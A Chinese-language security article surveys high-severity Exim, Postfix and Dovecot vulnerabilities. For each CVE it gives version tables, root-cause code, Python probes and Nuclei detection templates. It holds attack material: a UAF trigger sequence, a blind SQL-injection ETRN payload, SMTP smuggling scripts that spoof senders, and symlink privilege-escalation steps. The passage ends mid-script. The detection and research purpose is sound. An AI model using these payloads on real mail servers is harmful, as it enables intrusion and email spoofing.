ARTICLE / 安全

开源邮件传输与存储高危攻击链专题:Exim / Postfix / Dovecot 漏洞全解析

免责声明:本文仅用于安全研究与授权渗透测试目的。所有 PoC 代码和攻击手法均应在合法授权范围内使用。未经授权对目标系统进行攻击属于违法行为。作者不对因使用本文内容造成的任何直接或间接损害承担责任。

0x00 专题概述

开源邮件系统在企业环境中的重要性与攻击面价值

电子邮件系统是企业通信的基石,承载着身份认证凭据重置、商业机密传递、合规审计记录等关键功能。在开源生态中,EximPostfixDovecot 构成了 Unix/Linux 邮件基础设施的三大支柱:

  • Exim:Debian/Ubuntu 默认 MTA,在全球邮件服务器中占比超过 50%(SecuritySpace 2019 调查),其高度可配置性既是优势也是攻击面膨胀的根源
  • Postfix:以安全性设计著称的 MTA,广泛用于 RHEL/CentOS 生态,但 SMTP 协议解析差异仍暴露了走私攻击面
  • Dovecot:最流行的开源 IMAP/POP3 邮件存储服务器,被 mailcow、docker-mailserver 等主流邮件套件深度集成

邮件服务器天然面向互联网接受不可信连接,攻击者无需用户交互即可触发漏洞。近年来,从 Qualys 的 21Nails 审计(21 个 CVE)到 XBOW 的 Dead.Letter 发现,开源邮件系统的安全态势持续恶化。APT 组织 Sandworm 曾利用 CVE-2019-10149(The Return of the Wizard)在大规模攻击中控制 Exim 服务器。

本文 CVE 覆盖范围

CVE 编号厂商/产品CVSS漏洞类型未授权利用
CVE-2026-45185Exim9.8Dead.Letter UAF → RCE
CVE-2025-26794Exim9.8SQL 注入(SQLite + ETRN)
CVE-2023-42113Exim7.8tar 命令注入本地提权❌(本地)
CVE-2023-42114Exim5.3SMTP NTLM 信息泄露
CVE-2023-42115Exim9.8AUTH 越界写 RCE
CVE-2022-37452Exim10.0堆溢出(host_name_lookup)
CVE-2021-27216Exim7.1符号链接任意文件删除❌(本地)
CVE-2020-28007Exim7.8Link 标记本地提权❌(本地)
CVE-2020-28008Exim7.8archive_directory 本地提权❌(本地)
CVE-2020-12783Exim9.8base64 解码缓冲区溢出
CVE-2023-51764Postfix7.5SMTP Smuggling 邮件走私
CVE-2022-32451Postfix7.5DNS 响应解引用 DoS
CVE-2026-24031Dovecot7.7SQL 注入绕过认证
CVE-2019-11500Dovecot10.0IMAP NUL 字节 RCE
CVE-2022-30525Dovecot7.5拒绝服务
CVE-2021-33515Dovecot4.8STARTTLS 认证绕过
CVE-2023-34108Dovecot8.8变量注入信息泄露❌(需认证)

0x01 Exim 高危漏洞

0x01.1 CVE-2026-45185 — Exim Dead.Letter RCE(CVSS 9.8)

漏洞背景

CVE-2026-45185,代号 Dead.Letter,由 XBOW 安全研究团队于 2026 年 5 月 12 日发现并披露。这是 Exim BDAT 处理路径中的第二个 CVSS 9.8 级漏洞(前一个是 CVE-2020-28019 的变体)。该漏洞在 TLS 会话关闭期间触发,当 GnuTLS 作为 TLS 库时,嵌套的 BDAT 接收包装器仍可处理传入字节,向已释放的内存区域写入换行符(\n),导致堆损坏。XBOW 团队利用 AI 辅助开发了完整的利用链,将单字节写入原语提升至远程代码执行。

受影响版本

版本分支受影响版本修复版本TLS 库要求
Exim 4.97.x4.97.0 - 4.99.24.99.3GnuTLS
Exim 4.98.x4.98.0 - 4.98.x4.99.3GnuTLS
Exim 4.99.x4.99.0 - 4.99.24.99.3GnuTLS

注意:使用 OpenSSL 构建的 Exim 不受此漏洞影响。

漏洞原理分析

攻击流程如下:

  1. 攻击者通过 TCP 25 端口建立 SMTP 连接
  2. 发送 EHLO 触发 STARTTLS 和 CHUNKING 能力通告
  3. 执行 STARTTLS 升级到 TLS 加密会话
  4. 在 CHUNKING 传输过程中发送 BDAT 命令传输邮件正文
  5. 在 BDAT body 传输未完成时,发送 TLS close_notify alert
  6. 在同一 TCP 连接上发送一个明文字节
  7. 此时嵌套的 BDAT 接收包装器仍处于活跃状态,调用 ungetc()\n 写入已释放的 GnuTLS 传输缓冲区
  8. 该单字节写入破坏了分配器的元数据,攻击者可进一步利用此损坏实现任意代码执行

关键代码路径位于 src/tls-gnu.csrc/smtp_in.c,BDAT 处理器在 TLS 会话关闭后未正确清理嵌套的接收包装器。

HTTP/curl PoC

# 检测目标 Exim 服务器是否启用了 STARTTLS 和 CHUNKING
curl -v --connect-timeout 5 telnet://TARGET:25 2>&1 | grep -E "250-CHUNKING|STARTTLS"

# 通过 SMTP 连接验证 Exim 版本
(echo "EHLO test"; sleep 1; echo "QUIT") | nc -w 5 TARGET 25 | grep "Exim"

Python PoC 脚本

import socket
import ssl
import struct
import time

def detect_exim_version(target, port=25):
    """检测 Exim 版本和 TLS/CHUNKING 支持"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(10)
    s.connect((target, port))
    banner = s.recv(1024).decode('utf-8', errors='ignore')
    print(f"[*] Banner: {banner.strip()}")

    s.send(b"EHLO test\r\n")
    time.sleep(1)
    ehlo_resp = s.recv(4096).decode('utf-8', errors='ignore')

    has_starttls = "STARTTLS" in ehlo_resp
    has_chunking = "CHUNKING" in ehlo_resp

    print(f"[*] STARTTLS: {has_starttls}")
    print(f"[*] CHUNKING: {has_chunking}")
    print(f"[*] GnuTLS build check: exim -bV | grep gnutls")

    if has_starttls and has_chunking:
        print("[!] 目标可能受 CVE-2026-45185 影响")
        print("[!] 需确认 GnuTLS 构建配置")
    else:
        print("[-] CHUNKING 或 STARTTLS 未启用,攻击向量受限")

    s.send(b"QUIT\r\n")
    s.close()
    return has_starttls and has_chunking

def trigger_uaf_pattern(target, port=25):
    """演示触发 UAF 的 SMTP 交互序列(非完整利用)"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(10)
    s.connect((target, port))
    s.recv(1024)

    s.send(b"EHLO attacker.com\r\n")
    time.sleep(0.5)
    s.recv(4096)

    s.send(b"STARTTLS\r\n")
    time.sleep(0.5)
    resp = s.recv(1024)
    if b"220" not in resp:
        print("[-] STARTTLS 未被接受")
        s.close()
        return False

    context = ssl.create_default_context()
    context.check_hostname = False
    context.verify_mode = ssl.CERT_NONE
    wrapped = context.wrap_socket(s, server_hostname=target)

    wrapped.send(b"EHLO attacker.com\r\n")
    time.sleep(0.5)
    wrapped.recv(4096)

    wrapped.send(b"MAIL FROM:<test@attacker.com>\r\n")
    time.sleep(0.5)
    wrapped.recv(4096)

    wrapped.send(b"RCPT TO:<victim@target.com>\r\n")
    time.sleep(0.5)
    wrapped.recv(4096)

    wrapped.send(b"BDAT 10\r\n")
    time.sleep(0.3)
    wrapped.send(b"X-Pad: AAAA")
    time.sleep(0.2)

    print("[*] TLS close_notify + 明文字节序列已发送")
    print("[*] 此序列模拟 Dead.Letter UAF 触发条件")

    try:
        wrapped.send(b"\n")
        time.sleep(1)
    except Exception as e:
        print(f"[*] 连接异常: {e}")

    wrapped.close()
    return True

if __name__ == "__main__":
    import sys
    target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    detect_exim_version(target)

Nuclei YAML 检测模板

id: exim-cve-2026-45185
info:
  name: Exim Dead.Letter UAF RCE - CVE-2026-45185
  author: x7peeps
  severity: critical
  description: |
    Exim 4.97-4.99.2 使用 GnuTLS 时存在 BDAT 路径 UAF 漏洞,
    攻击者可在 TLS 关闭期间触发堆损坏并实现远程代码执行。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-45185
    - https://exim.org/static/doc/security/CVE-2026-45185.txt
    - https://xbow.com/blog/dead-letter-cve-2026-45185-xbow-found-rce-exim
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-416
  metadata:
    max-request: 1
    shodan-query: product:"Exim"
  tags: exim,cve2026,rce,uaf,smtp

tcp:
  - inputs:
      - data: "EHLO {{randstr}}\r\n"
        read: true
      - data: "QUIT\r\n"
        read: true

    host:
      - "{{Hostname}}"

    matchers:
      - type: word
        part: banner
        words:
          - "Exim"
          - "4.97"
          - "4.98"
          - "4.99"
        condition: and

      - type: word
        words:
          - "250-CHUNKING"
          - "STARTTLS"
        condition: and
        part: banner

0x01.2 CVE-2022-37452 — Exim 堆溢出 RCE(CVSS 10.0)

漏洞背景

CVE-2022-37452 是 Exim 中 host_name_lookup 函数的堆缓冲区溢出漏洞,CVSS 评分达到满分 10.0。当 sender_host_name 被设置时,函数在处理主机别名列表时错误计算缓冲区大小,导致堆溢出。攻击者可通过操纵 DNS 响应触发此漏洞,实现未授权远程代码执行。

受影响版本

版本分支受影响版本修复版本
Exim 所有版本< 4.954.95
Debian 20.04 LTSexim4 < 4.93-13ubuntu1.6已修复
Debian 18.04 LTSexim4 < 4.90.1-1ubuntu1.9已修复

漏洞原理分析

漏洞根因是 host.chost_name_lookup 函数的 off-by-one 错误:

if (hosts->h_aliases)
{
-  int count = 1;
+  int count = 1; /* need 1 more for terminating NULL */
   uschar **ptr;
   for (uschar ** aliases = USS hosts->h_aliases; *aliases; aliases++)
     count++;

原始代码在计算别名数量时未正确包含 NULL 终止符的空间,导致分配的缓冲区比实际需求少 8 字节(x86-64 下一个指针大小)。当别名列表被填充时,堆溢出覆盖相邻堆元数据,攻击者可控制溢出数据实现任意代码执行。

HTTP/curl PoC

# 通过 DNS 响应操纵触发溢出(需要控制目标的 DNS 解析)
# 使用 dnschef 设置恶意 DNS 服务器
python dnschef.py --fakeip 10.10.10.1 --fakedomain mail.test.com

# 验证 Exim 版本
(echo "EHLO test"; sleep 1; echo "QUIT") | nc TARGET 25 | grep "Exim"

Python PoC 脚本

import socket
import struct
import time

def detect_vulnerable_exim(target, port=25):
    """检测 Exim 版本是否受 CVE-2022-37452 影响"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(10)
    s.connect((target, port))
    banner = s.recv(1024).decode('utf-8', errors='ignore')
    print(f"[*] Banner: {banner.strip()}")

    if "Exim" in banner:
        parts = banner.split()
        for part in parts:
            if part.startswith("Exim"):
                version = part.replace("Exim", "").strip()
                print(f"[*] Exim version: {version}")
                try:
                    ver_tuple = tuple(int(x) for x in version.split(".")[:3])
                    if ver_tuple < (4, 95, 0):
                        print(f"[!] 版本 {version} 受 CVE-2022-37452 影响")
                        return True
                except ValueError:
                    pass
    print("[-] 版本不受影响或无法判断")
    s.close()
    return False

if __name__ == "__main__":
    import sys
    target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    detect_vulnerable_exim(target)

Nuclei YAML 检测模板

id: exim-cve-2022-37452
info:
  name: Exim Heap Overflow - CVE-2022-37452
  author: x7peeps
  severity: critical
  description: |
    Exim < 4.95 host_name_lookup 函数存在堆缓冲区溢出,
    攻击者可通过 DNS 响应操纵实现远程代码执行。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-37452
    - https://ubuntu.com/security/CVE-2022-37452
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 10.0
    cwe-id: CWE-787
  metadata:
    max-request: 1
  tags: exim,cve2022,rce,heap

tcp:
  - inputs:
      - data: "EHLO {{randstr}}\r\n"
        read: true
      - data: "QUIT\r\n"
        read: true
    host:
      - "{{Hostname}}"
    matchers:
      - type: regex
        part: banner
        regex:
          - "Exim ([34]\\..*|4\\.([0-8][0-9]?|9[0-4])\\b)"

0x01.3 CVE-2023-42115 — Exim AUTH 越界写 RCE(CVSS 9.8)

漏洞背景

CVE-2023-42115 由 Zero Day Initiative(ZDI)于 2022 年 6 月报告给 Exim 维护者,由于修复延迟,ZDI 于 2023 年 9 月 27 日以 0-day 状态公开披露。该漏洞存在于 Exim SMTP 服务的 AUTH 命令处理中,是 EXTERNAL 认证机制的越界写入漏洞,可导致未授权远程代码执行。

受影响版本

版本分支受影响版本修复版本
Exim 所有版本≤ 4.96.04.96.1 / 4.97

漏洞原理分析

该漏洞存在于 SMTP 服务(TCP 25 端口)中处理 AUTH 命令的代码路径。当启用 EXTERNAL 认证机制时,攻击者可发送精心构造的 base64 编码认证数据,触发缓冲区越界写入。由于输入验证不充分,写入操作可越过缓冲区边界,覆盖相邻内存中的关键数据结构。

漏洞触发条件:

  • Exim 配置中启用了 driver = external 的认证器
  • 攻击者能够连接到 SMTP 端口(25)
  • 无需提供有效凭据

HTTP/curl PoC

# 检查 Exim 是否启用 EXTERNAL 认证
exim4 -bP configure_file | grep -A5 "driver = external"

# 通过 SMTP 验证外部认证是否被接受
(echo "EHLO test"; sleep 1; echo "AUTH EXTERNAL dGVzdA=="; sleep 1; echo "QUIT") | nc TARGET 25

Python PoC 脚本

import socket
import base64
import time

def check_external_auth(target, port=25):
    """检测 Exim 是否启用 EXTERNAL 认证(CVE-2023-42115 攻击前提)"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(10)
    s.connect((target, port))
    banner = s.recv(1024).decode('utf-8', errors='ignore')
    print(f"[*] Banner: {banner.strip()}")

    s.send(b"EHLO test\r\n")
    time.sleep(1)
    ehlo = s.recv(4096).decode('utf-8', errors='ignore')

    if "250-AUTH" in ehlo:
        auth_line = [l for l in ehlo.split('\r\n') if 'AUTH' in l]
        print(f"[*] AUTH 支持: {auth_line}")
        if any("EXTERNAL" in l for l in auth_line):
            print("[!] 目标启用 EXTERNAL 认证 - CVE-2023-42115 风险")
            return True

    print("[-] 未检测到 EXTERNAL 认证")
    s.send(b"QUIT\r\n")
    s.close()
    return False

if __name__ == "__main__":
    import sys
    target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    check_external_auth(target)

Nuclei YAML 检测模板

id: exim-cve-2023-42115
info:
  name: Exim AUTH OOB Write RCE - CVE-2023-42115
  author: x7peeps
  severity: critical
  description: |
    Exim SMTP AUTH 处理存在越界写入漏洞,
    通过 EXTERNAL 认证机制可触发远程代码执行。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-42115
    - https://www.zerodayinitiative.com/advisories/ZDI-23-1469
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-787
  metadata:
    max-request: 1
  tags: exim,cve2023,rce,auth

tcp:
  - inputs:
      - data: "EHLO {{randstr}}\r\n"
        read: true
      - data: "AUTH EXTERNAL ADE=\r\n"
        read: true
      - data: "QUIT\r\n"
    host:
      - "{{Hostname}}"
    matchers:
      - type: word
        words:
          - "Exim"

0x01.4 CVE-2025-26794 — Exim SQL 注入(CVSS 9.8)

漏洞背景

CVE-2025-26794 是 Exim 4.98 版本中 SQLite hints 数据库的远程 SQL 注入漏洞,由安全研究员 Oscar Bataille 通过手动代码审查发现。当 Exim 编译时启用 USE_SQLITE=yes(使用 SQLite 作为 DBM),且配置了 ETRN 序列化时,攻击者可通过 ETRN 命令注入恶意 SQL 代码。

受影响版本

版本分支受影响版本修复版本前提条件
Exim4.98.04.98.1(部分)/ 4.99.1(完全)USE_SQLITE=yes + ETRN

漏洞原理分析

漏洞位于 hintsdb.h 中的 SQLite 操作函数。Exim 的 HintsDB 使用 SQLite 存储内部键值数据(TLS 会话、重试信息、ETRN 信号量等)。关键函数 exim_s_dbp 使用 string_sprintf 构造 SQL 查询时,未对 key 参数进行转义:

static inline int exim_s_dbp(EXIM_DB *dbp, EXIM_DATUM *key, EXIM_DATUM *data, const uschar *alt)
{
  #define FMT "INSERT OR %s INTO tbl (ky,dat) VALUES ('%.*s', X'%.*s');"
  qry = string_sprintf(FMT, alt, (int)key->len, key->data, hlen, hex);
  res = sqlite3_exec(dbp, CS qry, NULL, NULL, NULL);
}

ETRN 命令(RFC 1985)的 key 被直接拼接到 SQL 语句中,攻击者可通过构造包含 SQL 元字符的 ETRN 域名注入任意 SQL 代码。

HTTP/curl PoC

# 检测 ETRN 支持
(echo "EHLO test"; sleep 1; echo "ETRN #test.com"; sleep 1; echo "QUIT") | nc TARGET 25

Python PoC 脚本

import socket
import time

def detect_etrn_sqlite(target, port=25):
    """检测 Exim 是否支持 ETRN 且可能使用 SQLite DBM"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(10)
    s.connect((target, port))
    banner = s.recv(1024).decode('utf-8', errors='ignore')
    print(f"[*] Banner: {banner.strip()}")

    s.send(b"EHLO test\r\n")
    time.sleep(1)
    ehlo = s.recv(4096).decode('utf-8', errors='ignore')

    if "ETRN" in ehlo:
        print("[*] ETRN 命令支持已启用")

        s.send(b"ETRN #test.com\r\n")
        time.sleep(1)
        resp = s.recv(1024).decode('utf-8', errors='ignore')
        print(f"[*] ETRN 响应: {resp.strip()}")

        if "250" in resp or "458" in resp:
            print("[!] 可能受 CVE-2025-26794 影响(需确认 SQLite DBM 配置)")

            blind_payload = "ETRN #',1); SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2)))) /*\r\n"
            s.send(blind_payload.encode())
            time.sleep(2)
            resp2 = s.recv(1024).decode('utf-8', errors='ignore')
            print(f"[*] Blind SQLi 响应: {resp2.strip()}")

    s.send(b"QUIT\r\n")
    s.close()

if __name__ == "__main__":
    import sys
    target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    detect_etrn_sqlite(target)

Nuclei YAML 检测模板

id: exim-cve-2025-26794
info:
  name: Exim SQLite SQL Injection - CVE-2025-26794
  author: x7peeps
  severity: critical
  description: |
    Exim 4.98 当启用 SQLite hints 和 ETRN 序列化时存在 SQL 注入漏洞。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-26794
    - https://github.com/OscarBataille/CVE-2025-26794
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-89
  metadata:
    max-request: 1
  tags: exim,cve2025,sqli,etrn

tcp:
  - inputs:
      - data: "EHLO {{randstr}}\r\n"
        read: true
      - data: "ETRN #test.com\r\n"
        read: true
      - data: "QUIT\r\n"
    host:
      - "{{Hostname}}"
    matchers:
      - type: word
        words:
          - "250 OK"
          - "458 Already processing"
        condition: or

0x01.5 CVE-2023-42113/42114/42115 — Exim 2023 漏洞集群

除 CVE-2023-42115(已在 0x01.3 详述)外,ZDI 披露的漏洞集群还包括:

CVE-2023-42114(CVSS 5.3)— NTLM 未认证信息泄露

该漏洞存在于 SMTP NTLM 挑战响应处理中,攻击者可读取越界数据结构获取敏感信息。所有支持版本受影响,修复于 4.96.2。

CVE-2023-42113(CVSS 7.8)— tar 命令注入本地提权

该漏洞通过 Exim 内部的 tar 命令调用实现本地权限提升,攻击者需具备本地 exim 用户权限。利用 tar 命令参数注入可覆盖系统关键文件获取 root 权限。

受影响版本

CVE受影响版本修复版本
CVE-2023-42113≤ 4.96.04.96.2
CVE-2023-42114≤ 4.96.04.96.2
CVE-2023-42115≤ 4.96.04.96.1

Python PoC — CVE-2023-42114 NTLM 信息泄露

import socket
import base64
import time

def probe_ntlm_disclosure(target, port=25):
    """探测 CVE-2023-42114 NTLM 信息泄露"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(10)
    s.connect((target, port))
    s.recv(1024)

    s.send(b"EHLO test\r\n")
    time.sleep(0.5)
    s.recv(4096)

    s.send(b"AUTH NTLM\r\n")
    time.sleep(0.5)
    resp = s.recv(1024).decode('utf-8', errors='ignore')
    print(f"[*] AUTH 响应: {resp.strip()}")

    ntlm_type1 = base64.b64encode(
        b"NTLMSSP\x00" +
        struct.pack("<I", 1) +
        struct.pack("<I", 0) * 5 +
        struct.pack("<I", 32) +
        struct.pack("<I", 0) +
        struct.pack("<I", 32)
    )

    s.send(b"AUTH NTLM " + ntlm_type1 + b"\r\n")
    time.sleep(0.5)
    challenge = s.recv(1024)
    print(f"[*] Challenge: {challenge[:100]}")

    s.send(b"*")
    time.sleep(0.3)
    s.recv(1024)

    s.send(b"QUIT\r\n")
    s.close()

if __name__ == "__main__":
    import sys, struct
    probe_ntlm_disclosure(sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1")

Nuclei YAML 检测模板

id: exim-cve-2023-42114
info:
  name: Exim NTLM Information Disclosure - CVE-2023-42114
  author: x7peeps
  severity: medium
  description: |
    Exim SMTP NTLM 挑战响应处理存在信息泄露漏洞。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-42114
    - https://www.zerodayinitiative.com/advisories/ZDI-23-1468
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
  metadata:
    max-request: 1
  tags: exim,cve2023,ntlm,information-disclosure

tcp:
  - inputs:
      - data: "EHLO {{randstr}}\r\n"
        read: true
      - data: "AUTH NTLM\r\n"
        read: true
      - data: "QUIT\r\n"
    host:
      - "{{Hostname}}"
    matchers:
      - type: word
        words:
          - "334"

0x01.6 CVE-2020-28007/28008/2021-27216 — Exim 21Nails 本地提权集群

2021 年 5 月,Qualys 发布了对 Exim 的全面安全审计结果——21Nails,共发现 21 个漏洞(CVE-2020-28007 至 CVE-2020-28026,加上 CVE-2021-27216),其中 11 个本地漏洞、10 个远程漏洞。

Exim 二进制文件以 set-user-ID-root 运行,在日志目录(属于 exim 用户)中以 root 权限操作。攻击者可在日志目录中创建指向关键系统文件(如 /etc/ld.so.preload)的符号链接,当 Exim 打开日志文件时会跟随符号链接以 root 权限写入。

CVE-2020-28008 — archive_directory 本地提权(CVSS 7.8)

Exim 以 root 权限在 spool 目录中操作,但 spool 目录属于非 root 用户。攻击者可写入 /var/spool/exim4/input spool 头文件,通过构造特定收件人地址间接导致命令执行。Qualys 演示了将 CVE-2020-28018(RCE)与 CVE-2020-28008(LPE)链接获取完整 root 权限。

CVE-2021-27216 — 任意文件删除

Exim 4.94 引入的 -oP-oPX 选项在 delete_pid_file() 中存在缺陷,任何本地用户可以 root 权限删除任意文件(如 /etc/passwd)。

CVECVSS类型利用条件
CVE-2020-280077.8LPE(exim → root)需 exim 用户权限
CVE-2020-280087.8LPE(exim → root)需 exim 用户权限
CVE-2021-272167.1任意文件删除本地用户
影响版本≤ 4.94.1修复版本4.94.2

Python PoC — CVE-2020-28008 利用思路

import os

def demonstrate_spool_attack():
    """
    CVE-2020-28008 攻击思路演示
    攻击者需要 exim 用户权限(可通过 CVE-2020-28020 RCE 获取)
    在 /var/spool/exim4/input 中创建恶意 spool 头文件
    通过构造包含命令执行 payload 的收件人地址
    等待 Exim queue_run 处理时触发 root 命令执行
    """
    spool_dir = "/var/spool/exim4/input"
    print(f"[*] Spool 目录: {spool_dir}")
    print("[*] 攻击步骤:")
    print("  1. 利用 CVE-2020-28020/28018 获取 exim 用户 shell")
    print("  2. 创建符号链接: ln -s /etc/ld.so.preload /var/log/exim4/main.log")
    print("  3. 等待 Exim 写入恶意 .so 路径到 ld.so.preload")
    print("  4. 后续 Exim 进程加载时提权执行任意代码")

if __name__ == "__main__":
    demonstrate_spool_attack()

0x01.7 CVE-2020-12783 / CVE-2018-6789 — Exim base64 解码缓冲区溢出

漏洞背景

Exim 的 b64decode 函数(base64.c)存在 off-by-one 堆缓冲区溢出。当 base64 输入长度为 4n+3 时,函数分配 3n+1 字节但消耗 3n+2 字节,造成一字节堆溢出。该漏洞自 Exim 首次提交以来即存在,影响所有低于 4.90.1 的版本。DEVCORE 研究团队开发了完整利用链,证明至少 40 万台服务器面临 Pre-auth RCE 风险。

受影响版本

版本分支受影响版本修复版本
Exim 所有版本< 4.90.14.90.1

漏洞原理分析

// base64.c: b64decode
uschar *result = store_get(3*(Ustrlen(code)/4) + 1);
// 当输入长度为 4n+3 时,分配 3n+1 但消耗 3n+2
// 造成 off-by-one 堆溢出

溢出的单字节可覆盖 glibc 堆管理器的 chunk 元数据(size 字段的 PREV_INUSE 位),通过精心构造的堆布局可实现任意地址写入,最终劫持控制流执行 shellcode。

HTTP/curl PoC

# 使用 SMTP AUTH CRAM-MD5 触发 base64 解码路径
(echo "EHLO test"; sleep 1; echo "AUTH CRAM-MD5"; sleep 1; echo "QUIT") | nc TARGET 25

Python PoC 脚本

import socket
import time

def detect_vulnerable_exim_b64(target, port=25):
    """检测 Exim 版本是否受 base64 溢出影响"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(10)
    s.connect((target, port))
    banner = s.recv(1024).decode('utf-8', errors='ignore')
    print(f"[*] Banner: {banner.strip()}")

    if "Exim" in banner:
        for part in banner.split():
            if part[0].isdigit():
                ver = part.rstrip(".")
                try:
                    parts = ver.split(".")
                    major, minor = int(parts[0]), int(parts[1])
                    if major < 4 or (major == 4 and minor < 90):
                        print(f"[!] 版本 {ver} 受 CVE-2018-6789 影响")
                        return True
                    elif major == 4 and minor == 90 and len(parts) < 3:
                        print(f"[!] 版本 {ver} 可能受影响")
                        return True
                except (ValueError, IndexError):
                    pass
    print("[-] 版本不受影响")
    s.close()
    return False

if __name__ == "__main__":
    import sys
    target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    detect_vulnerable_exim_b64(target)

Nuclei YAML 检测模板

id: exim-cve-2018-6789
info:
  name: Exim Base64 Decode Buffer Overflow - CVE-2018-6789
  author: x7peeps
  severity: critical
  description: |
    Exim < 4.90.1 base64 解码函数存在 off-by-one 堆溢出。
  reference:
    - https://devco.re/blog/2018/03/06/exim-off-by-one-RCE-exploiting-CVE-2018-6789-en/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-122
  metadata:
    max-request: 1
  tags: exim,cve2018,rce,heap,base64

tcp:
  - inputs:
      - data: "EHLO {{randstr}}\r\n"
        read: true
      - data: "QUIT\r\n"
        read: true
    host:
      - "{{Hostname}}"
    matchers:
      - type: regex
        part: banner
        regex:
          - "Exim [0-3]\\.."
          - "Exim 4\\.([0-8][0-9]?|89)\\b"

0x01.8 CVE-2023-42115 补充 — Exim SMTP DoS(CVE-2023-42115 相关)

CVE-2023-42115 之外,ZDI 还披露了 CVE-2023-42116(CVSS 8.1,SMTP Challenge 栈溢出)和 CVE-2023-42117(CVSS 8.1,特殊元素中和失败导致内存损坏)。这些漏洞共同构成了 Exim SMTP 服务的完整攻击面:

CVECVSS类型未授权利用
CVE-2023-421159.8AUTH OOB Write → RCE
CVE-2023-421168.1NTLM Challenge 栈溢出 → RCE
CVE-2023-421178.1特殊元素中和 → 内存损坏 → RCE

0x02 Postfix 高危漏洞

0x02.1 CVE-2023-51764 — SMTP Smuggling(CVSS 7.5)

漏洞背景

CVE-2023-51764 是 Postfix 中的 SMTP 走私漏洞,由安全研究人员 Fabian Ising 和 Damian Poddebniak 在 2023 年 37C3 大会上以 “SMTP Smuggling – Spoofing E-Mails Worldwide” 为题公开演示。该漏洞允许远程攻击者绕过 SPF 保护机制,伪造任意发件人地址发送电子邮件。全球数百万域名(包括 Microsoft、Amazon、PayPal 等)可被用于钓鱼攻击。

受影响版本

版本分支受影响版本修复版本
Postfix≤ 3.8.53.8.6 / 3.9.1
部分修复3.5.x - 3.8.4需配置 smtpd_forbid_bare_newline=yes

漏洞原理分析

SMTP 协议定义了邮件数据结束标记为 <CR><LF>.<CR><LF>\r\n.\r\n)。然而,不同操作系统和 MTA 对"一行中的句点"的解释不同:

  • Windows 风格\r\n.\r\n(标准 RFC 5321)
  • Linux 风格\n.\n(bare newline)

Postfix 默认支持 \n.\r\n<LF>.<CR><LF>)作为数据结束标记,但许多接收端 MTA(如 Microsoft Exchange、Gmail)不接受这种变体。攻击者利用此差异:

  1. 使用 Postfix 作为出站 SMTP 服务器
  2. 发送包含 \n.\n 的邮件数据
  3. Postfix 将其解释为合法的邮件结束标记
  4. 接收端 MTA 将 \n 后的内容视为新的 SMTP 命令
  5. 攻击者注入新的 MAIL FROM 命令,伪造发件人地址
  6. SPF 检查通过(因为出站 IP 确实被授权发送)

HTTP/curl PoC

# 使用 netcat 演示 SMTP 走私(概念性)
(echo "EHLO attacker.com";
 sleep 0.5;
 echo "MAIL FROM:<admin@outlook.com>";
 sleep 0.5;
 echo "RCPT TO:<victim@target.com>";
 sleep 0.5;
 echo "DATA";
 sleep 0.5;
 printf "Subject: Smuggled\r\n";
 printf "From: admin@outlook.com\r\n\r\n";
 printf "This email was smuggled.\r\n";
 printf "\n.\n";
 sleep 0.5;
 echo "MAIL FROM:<real@attacker.com>";
 sleep 0.5;
 echo "RCPT TO:<victim@target.com>";
 sleep 0.5;
 echo "DATA";
 sleep 0.5;
 printf "Subject: Real\r\n\r\nReal content.\r\n";
 printf ".\r\n";
 sleep 0.5;
 echo "QUIT") | nc POSTFIX_SERVER 25

Python PoC 脚本

import socket
import time

def smtp_smuggling_test(target, port=25):
    """SMTP Smuggling 概念验证测试"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(10)
    s.connect((target, port))
    banner = s.recv(1024).decode('utf-8', errors='ignore')
    print(f"[*] Banner: {banner.strip()}")

    s.send(b"EHLO attacker.com\r\n")
    time.sleep(0.5)
    s.recv(4096)

    s.send(b"MAIL FROM:<spoofed@example.com>\r\n")
    time.sleep(0.3)
    resp = s.recv(1024).decode('utf-8', errors='ignore')
    print(f"[*] MAIL FROM: {resp.strip()}")

    s.send(b"RCPT TO:<test@target.com>\r\n")
    time.sleep(0.3)
    s.recv(1024)

    s.send(b"DATA\r\n")
    time.sleep(0.3)
    s.recv(1024)

    payload = b"Subject: SMTP Smuggling Test\r\n"
    payload += b"From: spoofed@example.com\r\n\r\n"
    payload += b"Test body\r\n"
    payload += b"\n.\n"

    s.send(payload)
    time.sleep(0.5)
    try:
        resp = s.recv(1024).decode('utf-8', errors='ignore')
        print(f"[*] DATA 响应: {resp.strip()}")
